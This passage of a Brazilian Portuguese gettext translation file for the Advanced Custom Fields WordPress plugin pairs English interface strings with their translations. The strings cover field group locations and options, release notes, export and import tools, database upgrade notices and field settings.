msgstr "Página"

#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Modelo de Página"

#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Tipo de Página"

#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Página Mãe"

#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Usuário"

#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Usuário atual"

#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Função do Usuário atual"

#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Formulário do Usuário"

#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Função do Usuário"

#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:49
msgid "Forms"
msgstr "Formulários"

#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Anexo"

#: admin/views/field-group-locations.php:27
msgid "Taxonomy Term"
msgstr "Termo da Taxonomia"

#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Comentário"

#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Widget"

#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Regras"

#: admin/views/field-group-locations.php:42
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Crie um conjunto de regras para determinar quais telas de edição utilizarão "
"estes campos personalizados"

#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr "Mostrar este grupo de campos se"

#: admin/views/field-group-options.php:20
msgid "Style"
msgstr "Estilo"

#: admin/views/field-group-options.php:27
msgid "Standard (WP metabox)"
msgstr "Padrão (metabox do WP)"

#: admin/views/field-group-options.php:28
msgid "Seamless (no metabox)"
msgstr "Sem bordas (sem metabox)"

#: admin/views/field-group-options.php:35
msgid "Position"
msgstr "Posição"

#: admin/views/field-group-options.php:42
msgid "High (after title)"
msgstr "Superior (depois do título)"

#: admin/views/field-group-options.php:43
msgid "Normal (after content)"
msgstr "Normal (depois do editor de conteúdo)"

#: admin/views/field-group-options.php:44
msgid "Side"
msgstr "Lateral"

#: admin/views/field-group-options.php:52
msgid "Label placement"
msgstr "Posicionamento do rótulo"

#: admin/views/field-group-options.php:59 fields/tab.php:117
msgid "Top aligned"
msgstr "Alinhado ao Topo"

#: admin/views/field-group-options.php:60 fields/tab.php:118
msgid "Left Aligned"
msgstr "Alinhado à Esquerda"

#: admin/views/field-group-options.php:67
msgid "Instruction placement"
msgstr "Posicionamento das instruções"

#: admin/views/field-group-options.php:74
msgid "Below labels"
msgstr "Abaixo dos rótulos"

#: admin/views/field-group-options.php:75
msgid "Below fields"
msgstr "Abaixo dos campos"

#: admin/views/field-group-options.php:82
msgid "Order No."
msgstr "Nº. de Ordem"

#: admin/views/field-group-options.php:83
msgid "Field groups with a lower order will appear first"
msgstr "Grupos de campos com a menor numeração aparecerão primeiro"

#: admin/views/field-group-options.php:94
msgid "Shown in field group list"
msgstr "Exibido na lista de grupos de campos"

#: admin/views/field-group-options.php:104
msgid "Hide on screen"
msgstr "Ocultar na tela"

#: admin/views/field-group-options.php:105
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr ""
"<b>Selecione</b> os itens que deverão ser <b>ocultados</b> da tela de edição"

#: admin/views/field-group-options.php:105
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Se vários grupos de campos aparecem em uma tela de edição, as opções do "
"primeiro grupo de campos é a que será utilizada (aquele com o menor número "
"de ordem)"

#: admin/views/field-group-options.php:112
msgid "Permalink"
msgstr "Link permanente"

#: admin/views/field-group-options.php:113
msgid "Content Editor"
msgstr "Editor de Conteúdo"

#: admin/views/field-group-options.php:114
msgid "Excerpt"
msgstr "Resumo"

#: admin/views/field-group-options.php:116
msgid "Discussion"
msgstr "Discussão"

#: admin/views/field-group-options.php:117
msgid "Comments"
msgstr "Comentários"

#: admin/views/field-group-options.php:118
msgid "Revisions"
msgstr "Revisões"

#: admin/views/field-group-options.php:119
msgid "Slug"
msgstr "Slug"

#: admin/views/field-group-options.php:120
msgid "Author"
msgstr "Autor"

#: admin/views/field-group-options.php:121
msgid "Format"
msgstr "Formato"

#: admin/views/field-group-options.php:122
msgid "Page Attributes"
msgstr "Atributos da Página"

#: admin/views/field-group-options.php:123 fields/relationship.php:756
msgid "Featured Image"
msgstr "Imagem Destacada"

#: admin/views/field-group-options.php:124
msgid "Categories"
msgstr "Categorias"

#: admin/views/field-group-options.php:125
msgid "Tags"
msgstr "Tags"

#: admin/views/field-group-options.php:126
msgid "Send Trackbacks"
msgstr "Enviar Trackbacks"

#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Fazer Download e Instalar"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Instalado"

#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Bem-vindo ao Advanced Custom Fields"

#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Obrigado por atualizar! O ACF %s está maior e melhor do que nunca. Esperamos "
"que você goste."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "Uma experiência de uso mais simples e mais agradável"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Melhoria da Usabilidade"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Incluir a popular biblioteca Select2 nos possibilitou aperfeiçoar a "
"usabilidade e a performance de diversos tipos de campos, como o objeto do "
"post, link da página, taxonomias e seleções."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Melhorias no Design"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Muitos campos passaram por uma atualização visual para tornar o ACF mais "
"bonito do que nunca! As mudanças mais visíveis podem ser vistas na galeria, "
"no campo de relação e no novo campo oEmbed!"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Aprimoramento dos Dados"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Ao redefinir a arquitetura de dados promovemos mais autonomia aos sub "
"campos, que podem agora funcionar de forma mais independente e serem "
"arrastados e reposicionados entre diferentes campos."

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Adeus Complementos. Olá PRO"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Apresentando o ACF PRO"

#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr ""
"Estamos mudando a forma como as funcionalidades premium são disponibilizadas "
"para um modo ainda melhor!"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Todos os 4 add-ons premium foram combinados na nova <a href=“%s”>versão Pro "
"do ACF</a>. Com licenças pessoais e para desenvolvedores, as funcionalidades "
"premium estão mais acessíveis do que nunca!"

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Funcionalidades poderosas"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"O ACF PRO contém funcionalidades incríveis como o campo de dados "
"repetitivos, layouts de conteúdo flexíveis, um belíssimo campo de galeria e "
"a capacidade de criar páginas de opções adicionais!"

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr ""
"Leia mais sobre as <a href=“%s”>funcionalidades do ACF PRO</a> (em inglês)."

#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Fácil Atualização"

#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"Para facilitar a atualização, <a href=“%s”>faça o login na sua conta</a> e "
"solicite sua cópia gratuita do ACF PRO!"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a href=\"%s"
"\">help desk</a>"
msgstr ""
"Também escrevemos um <a href=“%s”>guia de atualização</a> (em inglês) para "
"esclarecer qualquer dúvida, mas se você tiver alguma questão, entre em "
"contato com nosso time de suporte através do <a href=“%s”>help desk</a>"

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Nos bastidores"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Definições de campo mais inteligentes"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr "O ACF agora salva as definições dos campos como posts individuais"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Mais AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr ""
"Mais campos utilizam pesquisas em AJAX para acelerar o carregamento da página"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "JSON Local"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr ""
"Melhor performance com a nova funcionalidade de exportação automática para "
"JSON"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Melhor controle de versões"

#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"A nova função de exportação automática para JSON permite que as definições "
"do campo sejam controladas por versão"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "Troca de XML para JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr ""
"As funcionalidades de Importar/ Exportar agora utilizam JSON ao invés de XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Novos espaços de Formulários"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"Os Campos agora podem ser inseridos nos comentários, widgets e em todos os "
"formulários de usuários!"

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Foi adicionado o novo campo oEmbed para incorporar conteúdo"

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Nova Galeria"

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "O campo de Galeria passou por uma transformação muito necessária"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Novas Definições"

#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Opções de posicionamento do rótulo e da instrução foram adicionadas aos "
"grupos de campos"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "Formulários Frontend aperfeiçoados"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "A função acf_form() agora pode criar um novo post ao ser utilizada"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Melhor Validação"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr ""
"A validação dos formulários agora é feita através de PHP + AJAX ao invés de "
"apenas JS"

#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Campo de Relação"

#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Nova função de ‘Filtro’ (Busca, Tipo de Post, Taxonomia) para o campo de "
"Relação"

#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Movimentação de Campos"

#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"O novo recurso agora permite que você mova um campo entre diferentes grupos "
"grupos (e até mesmo outros campos)"

#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Link da Página"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr "Nova opção de selecionar Arquivos no campo de Link da Página"

#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Páginas de Opções aperfeiçoadas"

#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Novas funções para as páginas de opções permitem a criação tanto de páginas "
"principais quanto de sub-páginas"

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Achamos que você vai adorar as mudanças na versão %s."

#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr "Exportar Grupos de Campos para PHP"

#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"O código a seguir poderá ser usado para registrar uma versão local do(s) "
"grupo(s) de campo selecionado(s). Um grupo de campos local pode fornecer "
"muitos benefícios, tais como um tempo de carregamento mais rápido, controle "
"de versão e campos/configurações dinâmicas. Basta copiar e colar o seguinte "
"código para o arquivo functions.php do seu tema ou incluí-lo dentro de um "
"arquivo externo."

#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Selecionar Grupo de Campos"

#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Exportar Grupos de Campos"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Selecione os grupos de campos que deseja exportar e escolha o método de "
"exportação. Para exportar um arquivo do tipo .json (que permitirá a "
"importação dos grupos em uma outra instalação do ACF) utilize o botão de "
"download. Para obter o código em PHP (que você poderá depois inserir em seu "
"tema), utilize o botão de gerar o código."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Download do arquivo JSON"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Gerar código PHP"

#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Importar Grupos de Campos"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Selecione o arquivo JSON do Advanced Custom Fields que deseja importar. "
"Depois de clicar no botão importar abaixo, o ACF fará a importação dos "
"grupos de campos."

#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Selecionar Arquivo"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importar"

#: admin/views/update-network.php:4
msgid "Upgrade Sites"
msgstr "Revisar sites e atualizar"

#: admin/views/update-network.php:13 admin/views/update.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Atualização do Banco de Dados do Advanced Custom Fields"

#: admin/views/update-network.php:15
#, php-format
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click %s."
msgstr ""
"O banco de dados dos sites abaixo precisam ser atualizados. Verifique os que "
"você deseja atualizar e clique %s."

#: admin/views/update-network.php:24 admin/views/update-network.php:32
msgid "Site"
msgstr "Site"

#: admin/views/update-network.php:52
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Site requer atualização do banco de dados da versão %s para %s"

#: admin/views/update-network.php:54
msgid "Site is up to date"
msgstr "Site está atualizado"

#: admin/views/update-network.php:67 admin/views/update.php:16
msgid "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr "Atualização do Banco de Dados realizada. <a href=\"%s\">Retornar para o painel da rede</a>"

#: admin/views/update-network.php:106 admin/views/update-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"É altamente recomendado fazer um backup do seu banco de dados antes de "
"continuar. Você tem certeza que deseja atualizar agora?"

#: admin/views/update-network.php:162
msgid "Upgrade complete"
msgstr "Atualização realizada"

#: admin/views/update-network.php:166 admin/views/update.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Atualizando os dados para a versão %s"

#: admin/views/update-notice.php:23
msgid "Database Upgrade Required"
msgstr "Atualização do Banco de Dados Necessária"

#: admin/views/update-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Obrigado por atualizar para o %s v%s!"

#: admin/views/update-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Antes de começar a utilizar as novas e incríveis funcionalidades, por favor "
"atualize seus banco de dados para a versão mais recente."

#: admin/views/update.php:12
msgid "Reading upgrade tasks..."
msgstr "Lendo as tarefas de atualização…"

#: admin/views/update.php:16
msgid "See what's new"
msgstr "Veja o que há de novo"

#: api/api-helpers.php:944
msgid "Thumbnail"
msgstr "Miniatura"

#: api/api-helpers.php:945
msgid "Medium"
msgstr "Média"

#: api/api-helpers.php:946
msgid "Large"
msgstr "Grande"

#: api/api-helpers.php:995
msgid "Full Size"
msgstr "Tamanho Original"

#: api/api-helpers.php:1207 api/api-helpers.php:1770 pro/fields/clone.php:866
msgid "(no title)"
msgstr "(sem título)"

#: api/api-helpers.php:1807 fields/page_link.php:284
#: fields/post_object.php:283 fields/taxonomy.php:989
msgid "Parent"
msgstr "Página de Nível mais Alto (sem mãe)"

#: api/api-helpers.php:3873
#, php-format
msgid "Image width must be at least %dpx."
msgstr "A largura da imagem deve ter pelo menos %dpx."

#: api/api-helpers.php:3878
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "A largura da imagem não pode ser maior que %dpx."

#: api/api-helpers.php:3894
#, php-format
msgid "Image height must be at least %dpx."
msgstr "A altura da imagem deve ter pelo menos %dpx."

#: api/api-helpers.php:3899
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "A altura da imagem não pode ser maior que %dpx."

#: api/api-helpers.php:3917
#, php-format
msgid "File size must be at least %s."
msgstr "O tamanho do arquivo deve ter pelo menos %s."

#: api/api-helpers.php:3922
#, php-format
msgid "File size must must not exceed %s."
msgstr "O tamanho do arquivo não pode ser maior que %s."

#: api/api-helpers.php:3956
#, php-format
msgid "File type must be %s."
msgstr "O tipo de arquivo deve ser %s."

#: api/api-template.php:1092
msgid "Spam Detected"
msgstr "Spam Detectado"

#: api/api-template.php:1235 pro/api/api-options-page.php:50
#: pro/fields/gallery.php:588
msgid "Update"
msgstr "Atualizar"

#: api/api-template.php:1236
msgid "Post updated"
msgstr "Post atualizado"

#: api/api-template.php:1304 core/field.php:133
msgid "Content"
msgstr "Conteúdo"

#: api/api-template.php:1369
msgid "Validate Email"
msgstr "Validar Email"

#: core/field.php:132
msgid "Basic"
msgstr "Básico"

#: core/field.php:134
msgid "Choice"
msgstr "Escolha"

#: core/field.php:135
msgid "Relational"
msgstr "Relacional"

#: core/field.php:136
msgid "jQuery"
msgstr "jQuery"

#: core/field.php:137 fields/checkbox.php:224 fields/radio.php:293
#: pro/fields/clone.php:709 pro/fields/flexible-content.php:495
#: pro/fields/flexible-content.php:544 pro/fields/repeater.php:459
msgid "Layout"
msgstr "Layout"

#: core/input.php:258
msgid "Expand Details"
msgstr "Expandir Detalhes"

#: core/input.php:259
msgid "Collapse Details"
msgstr "Recolher Detalhes"

#: core/input.php:260
msgid "Validation successful"
msgstr "Validação realizada com sucesso"

#: core/input.php:261 core/validation.php:306 forms/widget.php:234
msgid "Validation failed"
msgstr "Falha na validação"

#: core/input.php:262
msgid "1 field requires attention"
msgstr "1 campo requer sua atenção"

#: core/input.php:263
#, php-format
msgid "%d fields require attention"
msgstr "%d campos requerem sua atenção"

#: core/input.php:264
msgid "Restricted"
msgstr "Restrito"

#: core/media.php:54 fields/select.php:249
msgctxt "verb"
msgid "Select"
msgstr "Selecionar"

#: core/media.php:55
msgctxt "verb"
msgid "Edit"
msgstr "Editar"

#: core/media.php:56
msgctxt "verb"
msgid "Update"
msgstr "Atualizar"

#: core/media.php:57 fields/file.php:49 fields/image.php:54
#: pro/fields/gallery.php:55
msgid "Uploaded to this post"
msgstr "Anexado ao post"

#: core/validation.php:207
#, php-format
msgid "%s value is required"
msgstr "É necessário preencher o campo %s"

#: fields/checkbox.php:36 fields/taxonomy.php:767
msgid "Checkbox"
msgstr "Checkbox"

#: fields/checkbox.php:142
msgid "Toggle All"
msgstr "Selecionar Tudo"

#: fields/checkbox.php:206 fields/radio.php:241 fields/select.php:446
msgid "Choices"
msgstr "Escolhas"

#: fields/checkbox.php:207 fields/radio.php:242 fields/select.php:447
msgid "Enter each choice on a new line."
msgstr "Digite cada opção em uma nova linha."

#: fields/checkbox.php:207 fields/radio.php:242 fields/select.php:447
msgid "For more control, you may specify both a value and label like this:"
msgstr ""
"Para mais controle, você pode especificar tanto os valores quanto os "
"rótulos, como nos exemplos:"

#: fields/checkbox.php:207 fields/radio.php:242 fields/select.php:447
msgid "red : Red"
msgstr "vermelho : Vermelho"

#: fields/checkbox.php:215 fields/color_picker.php:147 fields/email.php:124
#: fields/number.php:150 fields/radio.php:284 fields/select.php:455
#: fields/text.php:148 fields/textarea.php:145 fields/true_false.php:115
#: fields/url.php:117 fields/wysiwyg.php:379
msgid "Default Value"
msgstr "Valor Padrão"

#: fields/checkbox.php:216 fields/select.php:456
msgid "Enter each default value on a new line"
msgstr "Digite cada valor padrão em uma nova linha"

#: fields/checkbox.php:230 fields/radio.php:299
msgid "Vertical"
msgstr "Vertical"

#: fields/checkbox.php:231 fields/radio.php:300
msgid "Horizontal"
msgstr "Horizontal"

#: fields/checkbox.php:238
msgid "Toggle"
msgstr "Selecionar Tudo"

#: fields/checkbox.php:239
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Incluir um checkbox adicional que marca (ou desmarca) todas as opções"

#: fields/checkbox.php:252 fields/file.php:220 fields/image.php:206
#: fields/radio.php:307 fields/taxonomy.php:836
msgid "Return Value"
msgstr "Valor Retornado"

#: fields/checkbox.php:253 fields/file.php:221 fields/image.php:207
#: fields/radio.php:308
msgid "Specify the returned value on front end"
msgstr "Especifique a forma como os valores serão retornados no front-end"

#: fields/checkbox.php:258 fields/radio.php:313 fields/select.php:526
msgid "Value"
msgstr "Valor"

#: fields/checkbox.php:260 fields/radio.php:315 fields/select.php:528
msgid "Both (Array)"
msgstr "Ambos (Array)"

#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Seletor de Cor"

#: fields/color_picker.php:83
msgid "Clear"
msgstr "Limpar"

#: fields/color_picker.php:84
msgid "Default"
msgstr "Padrão"

#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Selecionar Cor"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Cor Atual"

#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Seletor de Data"

#: fields/date_picker.php:44
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Concluído"

#: fields/date_picker.php:45
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Hoje"

#: fields/date_picker.php:46
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Próximo"

#: fields/date_picker.php:47
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Anterior"

#: fields/date_picker.php:48
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "Sem"

#: fields/date_picker.php:195 fields/date_time_picker.php:184
#: fields/time_picker.php:126
msgid "Display Format"
msgstr "Formato de Exibição"

#: fields/date_picker.php:196 fields/date_time_picker.php:185
#: fields/time_picker.php:127
msgid "The format displayed when editing a post"
msgstr "O formato que será exibido ao editar um post"

#: fields/date_picker.php:210 fields/date_time_picker.php:200
#: fields/post_object.php:455 fields/relationship.php:783
#: fields/select.php:520 fields/time_picker.php:140
msgid "Return Format"
msgstr "Formato dos Dados"

#: fields/date_picker.php:211 fields/date_time_picker.php:201
#: fields/time_picker.php:141
msgid "The format returned via template functions"
msgstr "O formato que será retornado através das funções de template"

#: fields/date_picker.php:226 fields/date_time_picker.php:216
msgid "Week Starts On"
msgstr "Semana começa em"

#: fields/date_time_picker.php:36
msgid "Date Time Picker"
msgstr "Seletor de Data e Hora"

#: fields/date_time_picker.php:44
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Selecione a hora"

#: fields/date_time_picker.php:45
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Hora"

#: fields/date_time_picker.php:46
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Hora"

#: fields/date_time_picker.php:47
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Minuto"

#: fields/date_time_picker.php:48
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Segundo"

#: fields/date_time_picker.php:49
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Milissegundo"

#: fields/date_time_picker.php:50
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Microssegundo"

#: fields/date_time_picker.php:51
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Fuso Horário"

#: fields/date_time_picker.php:52
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Agora"

#: fields/date_time_picker.php:53
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Pronto"

#: fields/date_time_picker.php:54
msgctxt "Date Time Picker JS selectText"
msgid "Select"
msgstr "Selecionar"

#: fields/date_time_picker.php:56
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "AM"

#: fields/date_time_picker.php:57
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "A"

#: fields/date_time_picker.php:60
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "PM"

#: fields/date_time_picker.php:61
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "P"

#: fields/email.php:36
msgid "Email"
msgstr "Email"

#: fields/email.php:125 fields/number.php:151 fields/radio.php:285
#: fields/text.php:149 fields/textarea.php:146 fields/url.php:118
#: fields/wysiwyg.php:380
msgid "Appears when creating a new post"
msgstr "Aparece quando o novo post é criado"

#: fields/email.php:133 fields/number.php:159 fields/password.php:137
#: fields/text.php:157 fields/textarea.php:154 fields/url.php:126
msgid "Placeholder Text"
msgstr "Texto Placeholder"

#: fields/email.php:134 fields/number.php:160 fields/password.php:138
#: fields/text.php:158 fields/textarea.php:155 fields/url.php:127
msgid "Appears within the input"
msgstr "Texto que aparecerá dentro do campo (até que algo seja digitado)"

#: fields/email.php:142 fields/number.php:168 fields/password.php:146
#: fields/text.php:166
msgid "Prepend"
msgstr "Prefixo"

#: fields/email.php:143 fields/number.php:169 fields/password.php:147
#: fields/text.php:167
msgid "Appears before the input"
msgstr "Texto que aparecerá antes do campo"

#: fields/email.php:151 fields/number.php:177 fields/password.php:155
#: fields/text.php:175
msgid "Append"
msgstr "Sufixo"

#: fields/email.php:152 fields/number.php:178 fields/password.php:156
#: fields/text.php:176
msgid "Appears after the input"
msgstr "Texto que aparecerá após o campo"

#: fields/file.php:36
msgid "File"
msgstr "Arquivo"

#: fields/file.php:47
msgid "Edit File"
msgstr "Editar Arquivo"

#: fields/file.php:48
msgid "Update File"
msgstr "Atualizar Arquivo"

#: fields/file.php:148
msgid "File name"
msgstr "Nome do arquivo"

#: fields/file.php:152 fields/file.php:253 fields/file.php:264
#: fields/image.php:268 fields/image.php:301 pro/fields/gallery.php:707
#: pro/fields/gallery.php:740
msgid "File size"
msgstr "Tamanho"

#: fields/file.php:175
msgid "Add File"
msgstr "Adicionar Arquivo"

#: fields/file.php:226
msgid "File Array"
msgstr "Array do arquivo"

#: fields/file.php:227
msgid "File URL"
msgstr "URL do Arquivo"

#: fields/file.php:228
msgid "File ID"
msgstr "ID do Arquivo"

#: fields/file.php:235 fields/image.php:231 pro/fields/gallery.php:670
msgid "Library"
msgstr "Biblioteca"

#: fields/file.php:236 fields/image.php:232 pro/fields/gallery.php:671
msgid "Limit the media library choice"
msgstr "Limitar a escolha da biblioteca de mídia"

#: fields/file.php:242 fields/image.php:238 pro/fields/gallery.php:677
msgid "Uploaded to post"
msgstr "Anexado ao post"

#: fields/file.php:249 fields/image.php:245 pro/fields/gallery.php:684
msgid "Minimum"
msgstr "Mínimo"

#: fields/file.php:250 fields/file.php:261
msgid "Restrict which files can be uploaded"
msgstr "Limita o tamanho dos arquivos que poderão ser carregados"

#: fields/file.php:260 fields/image.php:278 pro/fields/gallery.php:717
msgid "Maximum"
msgstr "Máximo"

#: fields/file.php:271 fields/image.php:311 pro/fields/gallery.php:750
msgid "Allowed file types"
msgstr "Tipos de arquivos permitidos"

#: fields/file.php:272 fields/image.php:312 pro/fields/gallery.php:751
msgid "Comma separated list. Leave blank for all types"
msgstr ""
"Lista separada por vírgulas. Deixe em branco para permitir todos os tipos"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Mapa do Google"

#: fields/google-map.php:51
msgid "Locating"
msgstr "Localizando"

#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "O seu navegador não suporta o recurso de geolocalização"

#: fields/google-map.php:133 fields/relationship.php:742
msgid "Search"
msgstr "Pesquisa"

#: fields/google-map.php:134
msgid "Clear location"
msgstr "Limpar a localização"

#: fields/google-map.php:135
msgid "Find current location"
msgstr "Encontre a localização atual"

#: fields/google-map.php:138
msgid "Search for address..."
msgstr "Pesquisar endereço…"

#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center"
msgstr "Centro"

#: fields/google-map.php:169 fields/google-map.php:180
msgid "Center the initial map"
